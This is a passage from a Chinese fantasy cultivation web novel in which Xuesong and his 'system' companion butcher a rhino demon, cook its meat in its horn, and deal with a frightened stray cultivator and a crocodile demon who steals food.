他被声音吓得浑身一哆嗦,但还是不肯离开,毕竟他很清楚,现在离开这里完全就是找死,尤其是他手无寸铁之力,还受了伤,身上一股子妖兽的味道,遇上眼睛瞎的,说不定真把他当妖兽来杀,也不管他现在是不是人形,是不是真的人。
在被救命恩人发脾气和被一大群不认识的陌生人追杀的恐惧感之间,他选择了前者,毕竟一个人能发的脾气再大也有限,比一群人好些。
更何况,于他而言,雪松确实是刚刚救了他一命,那他想,无论如何,也不至于马上就被重新杀死吧?
他哆哆嗦嗦停在原地,像一只被火烧的小虫一样缩成一团,整个人扑在地上,看起来狼狈不堪,又十分可怜,呜呜咽咽回答:“我只是有一点害怕,想要靠近,我不会打扰你的,我什么也不会做,我可以帮忙!请让我留下来吧!请让我跟着你吧!我不想一个人走!那很危险也很可怕,我害怕!”
他哇哇大哭起来,好像被一刀戳中心口一样,身体的颤抖更加剧烈,眼泪一串一串掉下来,眼眶红红的,让人担心他的眼球会不会随着眼泪滚出来,嘴唇颤抖着喊道:“我害怕!”
雪松被他吵得有一点头痛,听出他没有干扰的意思,对他挥了挥手:“那你就闭嘴,安静待在旁边!不要再吵了!否则我就一脚把你踢出去!”
他受了很大的惊吓,听见这样的话,哪怕,话里只是说把他踢出去,而不是弄死他,或者让他受尽折磨而死,他也感到了新一层的惊恐,连忙捂住嘴,瞪大了眼睛,使劲点头,想要表示自己的意思。
雪松看了他一眼:“安静呆着。”
他把后背紧贴在最近的树干上,那种仿佛无休无止一样的颤抖,才勉强减弱了一些,惶恐不安的眼睛,像一头即将被剥皮的老牛,更多的眼泪从眼睛里滚了出来。
他连忙用袖子擦了擦脸,但是忘记自己的衣服早就已经被弄脏了,所以用袖子擦完脸之后,本来还算干净的脸,立刻就被弄脏了,看起来像一只花猫,泥巴浆浆的。
但他没有镜子,现在也不是照水的时候,不知道自己的脸怎么样了,只觉得脸上痒痒的,一边挠一边庆幸自己没有发出什么太大的声音,应该不会被轻易抛弃,又掉下泪来。
不知不觉,手上的力气稍微用大了一点,把脸挠得像是刚被猫抓了一样,到处都是血痕,但即使如此,他也像没感觉到一样,只是一边轻轻颤抖,一边努力压抑着自己喉咙里不受控制冒出来的声音,哽咽着掉眼泪,却逐渐感觉到了劫后余生。
活过来了,好像是真的,真的活过来了吗?现在已经不用死了吗?不用再变成犀牛或者别的什么东西了吗?不用担心受怕了吗?可以好好睡一觉了吗?可以吃东西吗?什么都没有了,但是活下来了……
他的情绪太激动了,身体又太虚弱,既没喝水,也没吃东西,又没好好休息,还累得要命,心脏跳动一剧烈,就感觉眼前一黑,好像一只黑猫,从他的脊椎骨窜到了头顶,狠狠踩了一脚。
他扑通一声摔倒在地上,沉沉晕了过去,不知不觉睡着了,还蹬了一下腿,像是在梦里也不舒服,使劲想要逃跑,哪怕他现在已经不用跑什么了,他的身体也仍然在糟糕的噩梦里,还没有回过神来。
雪松看了他一眼,发觉他没有什么生命危险,也就放下心来,不再继续看他,收回目光,注视着自己面前那头巨大的犀牛的尸体。
犀牛角还差一点才能割下来,雪松撸起袖子,继续努力,过了一段时间,听见咔嚓一声响,把手松了一松,往后退了一退,看着面前的犀牛角,那东西仍然是原来的样子。
他伸出手去,握住了那犀牛角的尖尖,往下一掰,又是咔嚓一声,那东西一下子被拽了下来,轻松程度简直像是从树上摘下一只香蕉。
雪松的力气正好,因此没有往后退,他站在原地,低着头仔仔细细看着手上的东西,忽然觉得这里的光线有点差。
他用了一个光球术,一颗雪白色的光球从半空中缓缓浮起,停在了不远处,照耀着他手里的东西,这下子光芒足够了。
他仔细看了一下,忽然动了动鼻子,感到一股浓烈的血腥味从这个东西里面溢了出来,连忙把这东西翻了个个,定睛一看。
这只号角一样的东西里,居然还有血肉,有一个小小的米粒大的东西在里面闪了闪,紧接着就像虫子一样往里钻去,缩在了最里面,让雪松一时半会儿没有办法伸出手抓住。
雪松有些好奇,掏出剑来,往里面一捅,就把里面的肉都剔了出来,之后,倒提着那个东西,往下倒了倒,还拍了两下,拍的是侧面,免得不小心被尖角划伤手掌。
血红色的,绵软的,湿漉漉的肉块从那东西里面啪嗒一声掉了出来,紧接着,一块小小的石头一样的东西,也滚了出来。
那东西滚出来之后还想逃跑,迈开两条细细的豆芽一样的腿,就在地上狂奔,眨眼间飞出去两里地,雪松差点没赶上。
幸好早有准备,瞬发的捆绑诀飞了出去,法术的灵力窜到了那东西的身上,那东西甚至被撞了一下,在地上踉跄着滚了两圈,才勉强停了下来,立刻就被法术显现出来的绳子捆了个严严实实,好像一个被绑匪即将拿去卖钱的肉票一样。
雪松眨了眨眼睛走了过去,把地上的东西捡了起来,那东西还扭了扭,似乎不愿意看他,还想逃跑,旁边的光球飞了过来。
雪松在光球下定睛一看,发现这东西,似乎是有一缕魂气的妖丹,便忍不住笑了起来,他之前一剑斩了那犀牛,只觉得这东西有点狡猾,现在看来岂止是狡猾,还是狡兔三窟!
难怪之前杀得那样顺利,原来是没完全杀死,雪松从口袋里掏了掏,掏出一个前阵子系统发放的,可以收纳残存魂魄及其气息的魂魄瓶。
这东西小小一个,十分可爱,玲珑精致,托在手心里,如同一颗圆滚滚的冰糖橙,系统说,这是特别制作的水果款,看起来会比较讨人喜欢,如果放在商城里卖,价格会比普通款的稍微贵一点。
雪松把这瓶子的塞子打开,对着刚才抓住的这一缕气息晃了晃,这妖兽的魂魄就立刻被瓶子吸了进去。
雪松立刻盖上塞子,免得这东西跑掉,还顺便晃了晃瓶子,感受了一下空瓶子和装了东西的区别,之后把这东西别在了腰间。
他等会儿要用,别在腰上比较方便拿,要是重新放回储物戒指或者系统空间,确实是不占位置,但是找起来还是有点麻烦的,不如带在身上,随手就用了。
之后,雪松看向妖丹,圆滚滚的灰白色妖丹在他手心里转了转,一副可怜巴巴求饶乞讨的样子。
雪松不为所动,妖丹似乎觉得他铁石心肠,冲着他呸了一下,当然这东西并没有口水,大约也不能发出声音或者吐出什么,只是挪动而已。
雪松并没有受影响,在光球下把这妖丹看了看,觉得这东西可以在等会儿处理妖兽犀牛肉的时候加进去煮了。
那样汤汁的味道会鲜美许多,加更多的水,也不用担心汤的味道会变淡或者难喝,还可以延长保质期,使食物不容易变质,好处多着呢!不吃白不吃!
亲手打的猎物,怎么能不物尽其用呢?
雪松又从储物戒指里掏出一个口袋,把妖丹装了进去,同样把口袋挂在了腰间,准备等会儿制作食物的时候用。
接下来就是处理妖兽皮和肉了。雪松看着面前的一大团,还没来得及干,就已经觉得有点累了,他决定坐下来休息一下。
旁边的那个人还是昏迷不醒,时不时蹬一蹬腿,像一条被抓着耳朵的兔子一样,浑身毛茸茸的,头发炸着,偶尔颤抖一下,像被电了。
雪松稍微休息了,就开始觉得困,差点一头栽到地上睡过去,连忙抹了一把脸,觉得这不是因为生病,就是因为中毒,瞪大眼睛,站起身来,准备立刻开始干活。
但是系统见他这样困,对他说:“不如这样,反正现在周围没有人,我替你干吧?”
“真的可以吗?”雪松一下子高兴起来,往周围看了看,确认周围确实是没有人,除了地上昏迷的那一个,跃跃欲试问。
昏迷的人已经昏迷了,应该不会造成什么影响,反正他都看不见,系统出来又不会平地响起一个惊雷,也不至于把他吵醒。
就算他醒了,雪松也可以把他打晕过去,等他再醒过来的时候,说是他做噩梦,也就完了,他看起来精神很不稳定,大约会信。
“可以。”系统回答。
“那太好了!你现在就出来帮忙吧!”雪松立刻道。
“好。”系统正要现身,雪松忽然制止:“等一下!为了避免被别人发现,我记得之前不是有一个人偶吗?你用那个人偶出来吧!顶着那个人偶的皮,别人乍一看,只会以为你是我操纵的傀儡或者身外化身,不会想太多。”
就算有认识的人过来,看见了系统,觉得这不是傀儡,也不是人偶,那也没关系,他们多半会以为这是仙尊的残魂或者雪松过于思念仙尊,偷偷自己制造出来的东西。
安全系数大大增加。
“好。”系统有求必应。
很快,从仓库里找到人偶的系统,就把人偶当皮穿了出来,人偶仍然是之前的样子,没有什么变化。
雪松看着他,忍不住扑上去抱了一下,就好像在床上抱自己柔软而巨大的毛绒玩偶一样,因为知道他根本不会死,也根本没有生命,所以用尽全身力气狠狠勒住他的脖子,使劲往他身上贴,一点负担也没有,喉咙里发出呜呜的声音,欢迎说:“很高兴见到你!”
系统对于他那种几乎可以把普通人勒死的力道没有任何意见,微笑着拍了拍他的后背,语气温和:“很高兴见到你。”
雪松依依不舍松开他:“那我可以睡一会儿吗?”
“当然,”系统挑了挑眉,“你可以休息了,我会把事情处理完的。”他眉眼弯弯捋了捋雪松耳边的碎发:“如果有人来,我会提醒你的。”
“好!”雪松点了点头,从系统仓库里掏出巨大柔软的垫子,抖开往地上一铺,给自己丢了一个清洁术,就躺了上去,并掏出一床被子盖在身上,让光球跟着系统,自己侧身闭眼睡了。
他很快就睡着了。
系统拿起他的剑,开始给旁边的妖兽犀牛尸体剥皮,一点一点把皮剥下来之后,开始给血肉切块。
毕竟这些东西之后是要用的,最好处理得细致一点,不过,这样要花的时间就会增加一些,系统看了一眼雪松,雪松还在休息。
雪松应该不介意多休息一会儿。
系统收回目光,忽然察觉到不远处的动静,皱着眉头把剑扔了过去,只听咻的一声,有人被剑扎中了,发出了十分凄厉而尖锐的惨叫,听起来像是豪猪被一根一根拔掉刺的时候会发出的声音。
雪松几乎要被吵醒了,眼睫毛颤了颤,皱起眉头有些不悦,眼珠在眼皮下乱转,系统掏出一个隔音罩,放在了雪松身上。
雪松皱起的眉头逐渐松开,颤抖的睫毛和转动的眼珠逐渐平静,重新陷入了安稳的睡眠之中,因为他知道,系统会处理好的。
系统保护好了雪松的休眠,抬起头来,向不远处发出声音的位置走了过去,那边的人似乎终于意识到,遇到危险的时候应该逃跑,而不是惨叫,开始向远处而去。
那个人似乎是土系修士,所以很擅长遁术,往地下一躲,立刻窜出去几千米,像土拨鼠一样在地面上冒一冒头,深吸一口气,又沉了下去,如同鲸鱼沉入一片海底。
他一连窜出去几万米,以为自己已经安全了,松了一口气,浑身力竭一般,扑通一声瘫倒在地上,四肢着地,连头都抬不起来。
整个人像一个被摔坏的泥娃娃,歪着头,弯着腰,翘着屁股,屈着腿,两只手像棍子一样插在地面。
不知情的人乍一看这样的景象,说不定还以为他是死了之后被人摆出这样的姿态,用来向邪神祭祀的。
然而,系统还是出现在了他面前,以他的姿态,他只能看见系统的鞋子,见了鬼一样惨叫一声,身上的血流得更猛了,两眼一翻,吓得晕了过去。
晕过去之前,他又回忆起了之前看见的场景——雪松躺在一旁睡着,系统顶着和雪松一模一样的人偶皮套在旁边,拿着剑处理鲜血淋漓的尸体——
于他而言,他看见的是众所周知的仙尊的道侣,在荒郊野地,一无所知似的拥有婴儿般的睡眠。
在所有人眼中,本应该早就死去的仙尊,居然不仅没有死,而且还不是以残魂的方式行动,不知怎样拥有了身体,出现在了自己道侣的身边,一边守护熟睡的道侣,一边面无表情处理鲜血淋漓的尸体——
这不就是——
仙尊的道侣因为无法接受仙尊已经死亡的事实,瞒着所有人,不知怎样集齐了材料,暗中举行了复活仪式,居然真的重新凝聚起了仙尊的魂魄,还把仙尊的魂魄蕴养在自己的躯壳之内,但因为身体的负担过大,每当仙尊的魂魄苏醒的时候,仙尊的道侣本尊就不得不陷入沉睡,以此来维护身体的平衡,也同时保护仙尊的魂魄在身体中不受伤害?!
那么,他刚才看见的事情,就非常好理解了!
不就是仙尊的道侣,遇到难以处理的妖兽,战斗之后疲惫不堪,直接昏睡过去,仙尊的魂魄在道侣的躯壳内见此情形,觉得有必要出手相助,所以特意显出身形来,帮忙处理妖兽的尸体,还在发现不远处有人的时候,为了保护道侣,直接出手攻击,避免有人打扰到道侣的休眠吗?
说不定,他们两个还做了一些别的什么事。
否则,陌生的秘境之中,危险的妖兽尸体面前,不知什么时候昏迷的浑身是伤的人旁边,仙尊的道侣怎么睡得着的?
这些条件之中,只要有任何一个都足以让一个警惕性正常的修饰无法安眠,甚至无法入睡,但仙尊的道侣刚才是真的睡着了!
否则,仙尊的道侣看起来不会有即将被吵醒的样子,仙尊也用不着专门安抚和处理,大概更不必追过来——
要知道,吵醒一个睡着的人和吵醒一个刚睡下的人,以及吵醒一个还没睡着的人,完全是三种不同的情况!
一个人的怒气值,通常会随着他的睡眠程度逐渐加深,而在被吵醒的时候逐渐增加。这才是仙尊非要追过来的原因吧?
完蛋了!这和不小心踢翻了饥饿到极致即将进餐的野兽的食物有什么区别啊?!极致的挑衅将在悄无声息中完成吗?!
土蛋哇哇大哭,迅速调整身形,跪在地上像拜菩萨一样,向他认为的仙尊,实际上的系统喊道:“对不起,我不是故意的,我不是一定要打扰你们!
我只是意外路过的时候发现那边特别亮,想看看究竟有什么!
我保证不说出去,我今天什么都不知道!我什么也没看见,什么也没听见!求求你放过我吧!不要杀我呀,哇哇哇!”
系统被他吵得头痛,又想到雪松那边孤身一人,沉沉睡着恐怕不太安全,一心想要早点回去,也不愿花时间和他纠缠,便向他丢了一颗失忆丹药,对他面无表情说:“吃下去,我便不与你计较。”
土蛋愣了一下,擦了一把眼泪,小心翼翼问:“这个吃下去会死吗?”
“不会。”系统皱着眉头,冷冷回答。只是会失忆而已。
土蛋松了一口气,露出一种那我就放心了的表情,捡起地上的药瓶,打开塞子,把药吞掉了,眼前一黑就晕了过去,等他醒过来的时候,他就会忘记自己刚才看见了什么,比语言承诺有效多了。
系统碰了碰他的喉咙,确认他是真的吞了下去,并且那颗药已经开始发挥作用,站起身来,回到了雪松身边。
雪松仍然在休息,毕竟,现在距离系统离开的时候,不过过去一分钟而已。
系统继续处理刚才还没有处理完的事情,尸体的血肉被切成一块一块的整齐堆码好,系统掏出一个篮子,把一捧洗干净的血肉放了进去,加了一大堆的各种调味料,搅拌均匀之后,放在旁边,用一片巨大的叶子遮住,腌制起来。
剩下的就是皮了,系统掏出刷子,用水仔仔细细把皮洗了个干净,因为不太确定雪松想要用这个皮做成什么样的皮甲,只是洗干净之后,就在地上铺开晾了起来。
最后处理的是犀牛角,洗干净之后,放在旁边,三个小时过去了,天色有点晚了,系统把雪松叫醒,雪松收起了人偶,系统回到了原本的位置。
雪松开始收拾其他的东西,比如说他拿出来的被子和床垫,还有刚才在地上睡出的一点微不足道的凹坑。
等他收拾得差不多了,他就开始转过头面向系统给他放在旁边的血肉和皮,还有那个犀牛角,找了一个大口袋,把血肉装了进去,又找了一个口袋,把皮也装了进去,把两个口袋塞进储物戒指,拿起了旁边的篮子和犀牛角,昏睡在旁边的树木底下的人忽然醒了。
他一边惊慌失措睁开眼睛,一边挥舞着手大喊:“我知道错了,不要杀我,我一定好好演!我这就去滚泥浆!我不要!不要!”
雪松提着篮子,拿着牛角,一副马上要去郊游的样子,一脸疑惑看着他,他逐渐回过神来,意识到自己已经安全了,一边痛哭流涕,一边抹着眼泪向雪松靠近说:“不好意思,我刚才太激动了,我不是故意的,我就是想起之前的事儿了,一时没反应过来,你要去哪儿啊?我们一起吧?我现在可以走的!”
他说最后一句话的时候,声音有些颤抖,好像非常害怕被半路丢下来,或者干脆就被抛弃,像一只狠狠被踢了一脚之后遗弃的狗,一见到人就想跟上去,也不管这个人是好是坏,是不是真的要狗。
“安静点儿,”雪松不得不重新提醒他,他太吵了,“我要找到一条河边去吃点东西,如果你想跟着就跟着吧。”
对面连忙点了点头,眨巴着尚且有些红肿的眼睛,一脸兴高采烈,像只摇着尾巴的狗一样说:“我叫犀牛,是一个散修,之前走在路上,想要找一个灵气充沛的地方,意外误入了此地,遇到了那头妖兽,被变成了犀牛的样子——”
他说着说着,忽然注意到,雪松两只手都有东西,连忙试图上前伸手:“这个篮子给我提吧?”
雪松将信将疑看了他一眼,很怀疑他会走路摔跤,把东西撒出去,那这些东西还得再洗一洗才能吃,那可挺麻烦的,还费时间。
犀牛察觉出雪松的不信任,眨巴着眼睛笑道:“之前休息了那么久,我现在不至于走路还摔跤的,我一定好好拿稳!我可以拿吗?”
他用一种可怜巴巴的神色,一眨不眨望着雪松,像是一只在搬家的时候以为自己要被人丢掉的曾经流浪过的狗一样。
“行吧,”雪松把篮子交给他,“到地方就可以放下来。”
他连连点头,兴高采烈,两只手紧紧拿住了篮子的提手,如同接到了一只过年的时候可以亲手放上天的烟花。
如果他后面有尾巴,现在大概已经摇成风扇了。
雪松往前走去,没过多久,走到了一条小河旁边,觉得这个地方不错,就打算在这里挖坑,用了一个土坑咒。
咒语落下去,砰的一声响,地面炸开一个小小的土坑,雪松低头看了看,又往里面丢了一个火球术,火焰在里面燃烧起来。
之后,雪松把手里的犀牛角清洗了一下,用悬停术定在了半空中,对旁边招了招手,犀牛一步一步走过来,把手里的篮子,递向了雪松。
雪松拿着篮子看了看,把里面的肉,用树叶包着,丢进了犀牛角里,并且用水球术往犀牛角里面灌水,看差不多了就停下来。
没过一会儿,火焰就把犀牛角里面的水煮得咕咕直响,水面一个劲的冒泡,眼看着就要溢出来了,雪松把火调得小了一点。
之前腌制犀牛肉的那些调料已经在水面上弥漫开了,以至于原本清澈透亮的水,现在看起来发红发暗,但是飘出一股浓郁的咸香。
雪松把腰间的妖丹,取下来丢进了犀牛角里,妖丹圆滚滚的,在犀牛角里面沉沉浮浮,像一颗防止暴沸的圆勺子。
浓郁的灵气从妖丹里溢了出来,旁边看了全程的犀牛瞪大了眼睛,抽动着鼻子,嗅了嗅空气中的香味,忍不住一个劲从喉咙里发出咕噜咕噜的响声。
他看起来很饿了,听起来也是,雪松看了他一眼,他的脸上立刻就红了,好像被人扇了一巴掌似的,有点不好意思,垂着眼睛低下头去,眼睫毛一个劲颤抖,像一只在雨水里被打得猝不及防的蝴蝶,恨不得躲到宽大的树叶底下去。
雪松收回目光,从系统空间里掏出一只勺子,在犀牛角里面搅拌了一下肉汤,觉得这里面应该再加一点菠萝草莓猕猴桃之类的水果,肉会更嫩一点,汤也会有果香,混合着喝下去,也许会是出乎意料的好喝。
反正有充满灵气的妖丹和犀牛角作为容器和装饰性配菜在,无论如何,这一锅汤和一锅肉,难吃不到哪里去的。
何况这里面的东西也不多,雪松并不担心自己吃不下去。再不然放进系统空间里,放个三天三夜也无所谓,反正不会变质。
雪松开始思考,究竟是要从系统空间和储物戒指里面翻一翻,有没有什么准备好的水果,还是就地寻找一下,比较有秘境风味。
旁边的犀牛为了转移注意力,努力把目光从犀牛角上移开,向雪松搭话问:“您是怎么想到用犀牛角当容器,用妖丹当配料的?”
他按住饿得咕咕叫的肚子,一边像只挨了一拳的小浣熊一样嘟嘟囔囔说:“我从前还没见谁这么有创意呢,是之前那个看起来像仙尊的人教的吗?”
雪松猛然一惊:“什么?”你看见了?你不是睡着了吗?什么时候醒的?《 》
85-90
第86章
雪松眯着眼睛盯着面前的犀牛, 想要判断他是不是把做梦的事情当做现实,随口说出来了,之后发现他好像是认真的, 皱着眉头, 若有所思,垂下眼去。
是认真的?那可就比随口说的难办多了!
犀牛看雪松这个反应, 没料到他居然这样激动, 愣了一下,一脸迷茫地眨了眨眼睛, 不知道为什么,想了一下, 感觉自己忽然明白了, 露出了恍然大悟的表情。
怪不得醒着的时候和睡着的时候都没看见人, 只有半梦半醒的时候看见了, 差点就以为是真的在做梦,或者出现幻觉了。
本来只是想求证一下的, 现在看来那件事一定是真的, 否则,随便笑一笑或者吐槽一句也就过去了,何必认真呢?
那么,也许那根本不是看起来像仙尊的人,而就是仙尊本尊,否则, 也不用紧张,只要说是个朋友,或者是做出来的什么东西就好。
如果是朋友,让朋友过来, 想必现在还没有走远,就可以证明了,如果是东西,把东西拿出来,也是一样的,有什么不行?
既没有东西也没有人,那多半是真的了。
真的难道不好?为什么不想让人知道?因为是私事?可是一旦任何事情涉及到仙尊,就不可能是私事,毕竟,仙尊有那么大的名气,那么高的修为,又死得那样众目睽睽,他要是真的死而复生,谁会无动于衷?
那么,不应该是这个原因,那是什么?想要私下里二人多多相处,以后有机会再对别人说?可是看这个反应,不像是打算对别人说的。那就连这个也不是。
难道是因为,仙尊之所以活着,并不是早有打算,做好了准备,而是,被人复活?一旦被人知道,容易重新魂飞魄散,才会这样?
我明白了!犀牛的脑袋上好像突然亮起了一个代表聪明主意的灯泡,眨了眨眼睛,对雪松说:“一定是我看错了!我当时不太清醒!也许是把做梦的东西当做是真的!你不要太放在心上!”
我会好好保护我意外知道的这个秘密的!我绝对不会让好不容易复活过来的仙尊,重新轻而易举魂飞魄散的!你一点也不用担心!我不问了!祝你们百年好合呀!
雪松将信将疑:“是吗?”你刚才说话的时候看起来可不像是把假的当成真的,而是随口一问,现在看起来,完全像是,想到了什么,所以觉得,真的就是真的,暂时说成是假的也无所谓,反正早晚有一天大家都会知道的样子。
“是的是的!”犀牛用力点了点头。我刚刚才问了问题,现在转头就改口,居然一点也不怀疑我是在胡说八道吗?
其实根本就是知道,我已经知道了秘密,但是看我非常知情识趣,所以放了我一马吧?真是太善良,太大度,太放心了!
我一定要好好保护他们呀!
雪松看他好像是认真的,没有要继续追问的意思,松了一口气,也就干脆利落换了一个话题:“要不要喝点汤?”
虽然自己还没有尝过,但是不要紧,犀牛总不能一边喝汤一边说话吧?少说点话,比较安静,也免得露馅,是好事啊!
“好啊好啊!”犀牛点了点头,正处在一种自己好像发现了新大陆一般的兴奋之情中,脸上微微发红,像是被火烤过,笑眯眯说。
雪松看了他一眼,看他好像没有什么要求,就从戒指里面掏出一个碗来,又找了个勺子,用勺子挖了些犀牛角里面的汤,装在碗里面,给他递了过去,顺口嘱咐道:“有一点烫,端的时候小心,也别喝太快,容易呛着。”
他点了点头,两只手伸出去接了,兴高采烈尝了一口,刚要答应,啊的一声,捂住了嘴,显然是被烫着了。
而且,他的喉咙里咕噜响了一声,看来在这个时候,他猝不及防,把含在口腔里的东西吞了下去,应该是刚才喝的那口非常滚烫的汤。
看他扭曲的表情,那口汤的滚烫程度,于他而言,应该不亚于刚出火山的岩浆。
雪松露出无可奈何的表情,叹着气小声道:“都说了让你慢点啊……”
“嘶嘶嘶,”犀牛在扭曲的脸上露出一个含糊的笑,“我想立刻尝尝究竟是什么味儿,没想到还真挺烫的——”
他揉了揉脸,好像恨不得把手伸进喉咙里,拽出食管来揉一揉一样,表情像面团似的变来变去,声音沙哑而疼痛,听起来又有一些像响尾蛇一样说:“我还以为,稍微有点修为,就不怕烫了呢!”
“这里有一颗止痛丸,”雪松从戒指里掏了掏,掏出了一个瓶子递给他,“你吃下去就没事了。”
“谢谢!”犀牛接过了那颗药丸吞了下去,含糊不清说。
说完,咕噜一声,那颗药丸从他的喉咙里滚到了胃里,他的眼睛瞪了瞪,大约是已经不痛了。
“刚才那汤真好喝,”他像是好了伤疤忘了痛,立刻把碗伸了过来,像一只乞食的小狗一样,眼巴巴的,“能再给我加一点吗?”
雪松接过那只碗,不知道露出什么表情比较好,往里面加了两勺汤,那个碗挺小的,已经不太装得下了,幸好还不是很满,雪松递了回去,没有撒出来。
他重新把那个碗接了过去,深吸一口气,呼呼吹了起来,感觉差不多了,慢条斯理开始喝,还是像被烫到一样发出嘶嘶的声音,听起来有一点像是刚从草丛里爬出来的响尾蛇。
不过,很快还是喝完了,犀牛端着空碗,脸上红红的,感慨了一句:“好喝!”
雪松点了点头,掏出碗来,自己尝了半碗,觉得确实不错,才开始从犀牛角里面往外倒肉,并对犀牛伸出手,接过了他的碗,加了一些肉和汤,重新还给他。
他开始有点不好意思:“肉也给我吗?”
“拿去吃吧,不用客气,”雪松摆了摆手,“那么大一头犀牛,能吃的地方不少,这点不算什么。”反正只是随便尝尝,又不是要吃饱之后吐出来。
“那我就不客气了!”犀牛点了点头,眼睛亮亮的,对近在咫尺的即将入口的食物,充满了期待,用勺子挖了一块肉,塞进嘴里,咀嚼起来,不再说什么了。
雪松感到周围终于安静了一点,松了一口气,也开始继续品尝自己碗里的食物,旁边的水忽然颤抖起来,一阵一阵发出咆哮,险些把地面上的火都打了。
雪松瞪大眼睛,连忙转移火上面的犀牛角,免得好不容易煮起来的一锅东西都毁掉,刚刚站起来,往后退了两步,一股大水就从河里涌了出来,十分精准扑到了刚才那个小土坑上,把剩下的一点火星扑灭了。
雪松又往后退了两步,几乎被那突如其来的水沾湿鞋子,十分警惕看着湿漉漉的地面,免得里面突然冒出什么东西来。
还在吃东西的犀牛后知后觉,连忙从水里踩出来,鞋子踩得水啪嗒啪嗒响,一阵水花溅了起来,雪松正要叫他小心,话还没出口,就看见他闪了一下,不见了。
不过临走的时候,他居然也没忘记带上他的碗和碗里的食物,雪松又往后退了两步,定睛一看,而且空气中残留着水灵气的波动。
那么,多半是水里有东西在作怪了,雪松把该收的东西都收起来,正准备到水里去看一看,有十几面墙那么高的水忽然涌了起来,挡住了他的路,发出海啸一般的声音,向他撞了过来。
他立刻念了避水诀,被水打下去之后,感到昏天暗地,往外一看,刚才那股水流,像是裹挟着一颗巨大的鸵鸟蛋一样,把他带进了水底,轰隆一声,冲破一扇金碧辉煌的门,哗啦一下,铺在了亮闪闪的平整的地板上。
他刚刚站定,就听见远处传来一声惨叫,走过去一看,原来是端着碗的犀牛,正被铁索捆着,表情扭曲,望着被抢夺的碗,不肯松手,瞪着眼睛喊道:“不要抢我的肉!”
雪松表情一时空白,随后看见那个正在和犀牛抢肉的,是一只站立的鳄鱼,身上穿着人一样的衣服,顶着一只鳄鱼头,脖子上还有逐渐消失的鳄鱼鳞片一样的皮肤,看起来,刚好可以做一只手提包。
那只绿油油的鳄鱼一边抢犀牛手里的碗,一边大喊道:“什么你的肉,我的肉!别以为我没看见!刚才根本不是你在煮!
这也不是你割下来的!肯定也不是你打的!我闻出来了,这是一头犀牛的肉!你是个人类,这肯定不是你的!你这弱身板根本打不了犀牛!”
“那又怎么样?”犀牛一边哇哇大哭,一边用力到青筋暴起,扯着嗓子,好像喉咙也在跟着用力一样,喊道:“这是我的!我还没吃完呢!我还要吃!我不会给你的!你松手啊!”
“我才不会给你呢!”鳄鱼对他吐了一口唾沫:“我也要吃!你以为我把你弄下来干什么?你不肯给我吃这个,我就要吃你了!
虽然你看起来难吃得要死,一股臭味,但是无所谓,我快饿死了,你今天不给我吃东西,你别想从这出去!”
犀牛紧张得干呕,脸上涕泗横流,狼狈不堪,头发凌乱极了,还湿漉漉的,往下滴水,也不知道滴的是汗还是河里的水,就是不肯松手,只是一个劲从喉咙里发出呜呜声。
但他毕竟之前受了伤,只是休息却没有好好治疗,嘴巴和喉咙被滚烫的汤烫到,也只吃了止痛丸,没有痊愈,止痛丸给他提供了一点催眠作用,他现在越来越没有力气还困,再怎么坚持,两只手也渐渐松懈了,胳膊颤抖着,手指头发红又发白,看起来好像指甲都要掉了。
鳄鱼眼看着自己即将把东西抢过来,发出了胜利的呵呵大笑,得意洋洋盯着他,一边强行把碗挪向自己,一边充满鄙视和嘲讽,歪头说:“再用力,我看你的手也要折了!你不要了?掉下来正好!我一锅煮了!更好吃一些!风味十足啊,风味十足!”
正说着,忽然觉得旁边有什么东西闪了过去,鳄鱼转头想要看,就感觉眼前一黑,身体软软倒了下去。
还在努力抗争的犀牛,哭得眼睛肿得几乎变成一条缝,都看不清什么情况,只是呜呜咽咽,觉得手上突然轻了许多。
他愣了一下,整个人控制不住往后倒,砰的一声,撞上了身后的柱子,后脑勺也肿了,但闻到食物的香味距离自己近了许多。
整个人精神一振,像个从来没吃过饭的人一样,一头把脸埋进了碗里,用最快的速度唏喱呼噜把食物吃了,连汤也喝了,就差再把碗舔一遍,可惜没感觉出来究竟什么味道,毕竟是太着急了些。
但这也是没办法的事,不着急,他害怕被人抢走,到时候只能哭了,连着急的吃法,都未必有机会实现,相比之下,现在还有东西吃已经不错了。
他想到这里悲从中来,眼睛一下子像坏掉的水龙头一样,控制不住,哗啦啦开始往外掉眼泪,喉咙里又发出了呜呜的声音,像一辆没有办法在晚上停下来的烧煤的火车。
他甚至没来得及睁开眼睛,仔细看看面前究竟什么情况。
雪松有些无话可说,站在他面前盯着他,发现他还在哭,于是决定先不提醒他。毕竟安慰人也是需要力气的。
雪松转过头去,看向地上那个被他偷袭打昏过去的鳄鱼,昏倒的鳄鱼直挺挺躺在那里,因为还没有死,所以还没有完全变成本体。
整只鳄鱼散发出一股浓烈的水汽,就在地上躺了那么一会儿,地板上都已经开始往外冒水了,看得出来,是很有天赋的水灵根妖修。
就这么杀,好像太可惜了,可是如果就这么放着,未免有些太危险了,谁知道会不会被卷土重来?
雪松决定先捆起来再说,这样就算鳄鱼醒了,也不至于对他有什么太大的危害,开始在储物戒指里,掏来掏去,试图找出有用的绳子。
这种已经能化形的妖修,显然不是随便一条绳子就能捆住的,修士的力量一般很强,普通绳子往身上一捆,用点力气就断了,根本起不到束缚的作用。
更别提,不管是妖修还是妖兽,都是从妖怪起的,妖怪的力气一般比人类大,修炼之后就更大了,和修士比起来,恐怕也是略胜一筹的。
对于妖兽而言,也就是绳子不好吃,不然,就和打发时间的软绵绵植物手汗混合味儿小零食差不多。
所以得找一个特别一点的绳子。可是找来找去没找到,于是雪松想起来,他压根没正儿八经得到过,有用的,专门捆妖修的绳子。
倒不是说一定没有,他每天在系统那里签到,时不时抽个奖,要说连条能捆住妖修的绳子也没有,那是有点荒谬的。
但是系统给的东西没来源,就算修仙界没有处处都是监控摄像头的现代世界那么严格,也不见得看见了好东西,也不随口问一句。
毕竟好东西大家都想要,心情好的时候无所谓,遇上好人也无所谓,要是遇到不好的人,心情还正好不好,又恰好有点力气——
那不管是偷是抢,是杀是骗,他们只管能拿到手里就行,可不管人怎么样,也不管东西是从哪儿来的。
所以通常情况下,假如某一个人突然得到了很好的东西,却又说不出来源,别人会默认,他是从见不得光的人手里拿来的,要么他自己就是那种人,不是很好说清楚,对名声也不太好。
虽然大多数人因为他和仙尊都用同一张脸和同一个名字,觉得他但凡有什么好东西,都是仙尊曾经留给他的。
但确实没有人能说出,那些东西究竟是仙尊在什么时候什么地方给他的,多少还是个隐患。
隐患那种事情,能少点最好还是少点,不能少点,那就没办法了,横竖他是想过办法的,不能怪他,他不会太放在心上。
